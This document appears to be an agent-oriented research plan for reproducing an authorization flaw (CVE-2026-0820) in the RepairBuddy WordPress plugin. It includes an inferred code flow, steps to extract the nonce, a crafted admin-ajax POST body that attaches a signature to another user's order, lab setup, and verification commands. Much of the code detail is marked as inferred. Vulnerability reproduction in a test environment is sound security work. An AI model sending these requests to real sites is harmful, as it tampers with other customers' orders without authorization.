Exploitation Research Plan: CVE-2026-0820 (RepairBuddy IDOR)

1. Vulnerability Summary

The RepairBuddy plugin (version <= 4.1116) contains an Insecure Direct Object Reference (IDOR) vulnerability in its signature upload functionality. The AJAX handler wc_upload_and_save_signature_handler fails to perform any authorization or ownership checks on the order_id provided by the user. Consequently, any authenticated user (including low-privileged Subscriber accounts) can upload and attach a signature image to any order in the system by simply specifying the target order_id. This can lead to unauthorized modification of order metadata and potentially trigger unintended state changes in the repair workflow.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wc_upload_and_save_signature (inferred from handler name)
• Vulnerable Function: wc_upload_and_save_signature_handler
• Authentication: Required (Subscriber level or higher).
• HTTP Parameter: order_id (The ID of the target order).
• Payload Parameter: signature (Likely a Base64 encoded string or a multipart file upload).
• Preconditions: The attacker must be logged in as a Subscriber and know (or brute-force) a valid order_id.

3. Code Flow (Inferred)

1. Hook Registration: The plugin registers the AJAX handler via:
   add_action('wp_ajax_wc_upload_and_save_signature', 'wc_upload_and_save_signature_handler');
2. Entry Point: A POST request is sent to admin-ajax.php with action=wc_upload_and_save_signature.
3. Execution: The wc_upload_and_save_signature_handler function is invoked.
4. Processing:
   • It retrieves order_id from $_POST['order_id'].
   • It retrieves signature data from $_POST['signature'] (often a Base64 data URL in signature plugins).
   • The Flaw: It proceeds to save the signature as a file and update the order's metadata (e.g., update_post_meta($order_id, 'repair_order_signature', ... )) without calling current_user_can() or checking if the current user ID matches the order's customer ID.

4. Nonce Acquisition Strategy

The endpoint likely requires a nonce for the wc_upload_and_save_signature action.

1. Locate Nonce Registration: Search the codebase for wp_create_nonce. Based on plugin naming conventions, it is likely registered in an enqueue script hook:
   • Grep: grep -r "wp_localize_script" .
2. Identify JS Variable: Look for the localization key, likely something like repairbuddy_ajax or rb_vars.
3. Trigger Script Loading: The signature functionality is usually found on the Order Details or Checkout pages. Identify the shortcode used for order management (e.g., [repairbuddy_order_tracking]).
4. Extraction Plan:
   • Create a test page: wp post create --post_type=page --post_status=publish --post_content='[repairbuddy_order_tracking]'
   • Navigate to the page as a Subscriber.
   • Execute: browser_eval("repairbuddy_ajax?.nonce") (Replace repairbuddy_ajax with the actual identifier found in the source).

5. Exploitation Strategy

Step 1: Authentication

Login as a Subscriber user to obtain a session cookie.

Step 2: Target Identification

Identify a valid order_id belonging to another user (e.g., Admin). WordPress order IDs are standard Post IDs.

Step 3: Payload Preparation

Create a dummy signature (Base64 encoded transparent PNG):
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=

Step 4: Execution via http_request

Send the malicious request to attach the signature to the Admin's order.

Request:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=wc_upload_and_save_signature&order_id=TARGET_ORDER_ID&signature=BASE64_DATA&nonce=EXTRACTED_NONCE

6. Test Data Setup

1. Admin Setup:
   • Create a Repair Order (Post Type: repair_order or wp_repair_buddy_order depending on plugin internals).
   • Note the ID of this order (e.g., ID 123).
2. Attacker Setup:
   • Create a user with the Subscriber role.
3. Environment Setup:
   • Place the relevant shortcode (e.g., [repairbuddy_order_tracking]) on a public page to facilitate nonce extraction.

7. Expected Results

• The AJAX response should return a success status (e.g., {"success": true}).
• The target order (owned by Admin) will have a new file generated in the wp-content/uploads/ directory representing the signature.
• The order metadata for TARGET_ORDER_ID will point to the newly uploaded signature file.

8. Verification Steps

1. WP-CLI Check:
   Check the post meta for the target order ID:
   wp post meta get TARGET_ORDER_ID repair_order_signature (Note: the meta key name may vary; use wp post meta list TARGET_ORDER_ID to find the exact key).
2. Filesystem Check:
   Verify the signature file exists:
   ls -la wp-content/uploads/repairbuddy/signatures/ (inferred path).
3. Admin UI Check:
   Navigate to the RepairBuddy Orders page in the WordPress dashboard and view the order. The unauthorized signature should be visible in the order details.

9. Alternative Approaches

• Status Manipulation: If the wc_upload_and_save_signature_handler also triggers an order status change (e.g., from "Pending" to "Signed/Approved"), verify if the order status was modified by the Subscriber.
• Base64 vs. File: If the plugin uses $_FILES instead of a Base64 string, adjust the http_request to use multipart/form-data.
• Parameter Brute-force: If the nonce is not required (a common secondary vulnerability), attempt the request without the nonce parameter.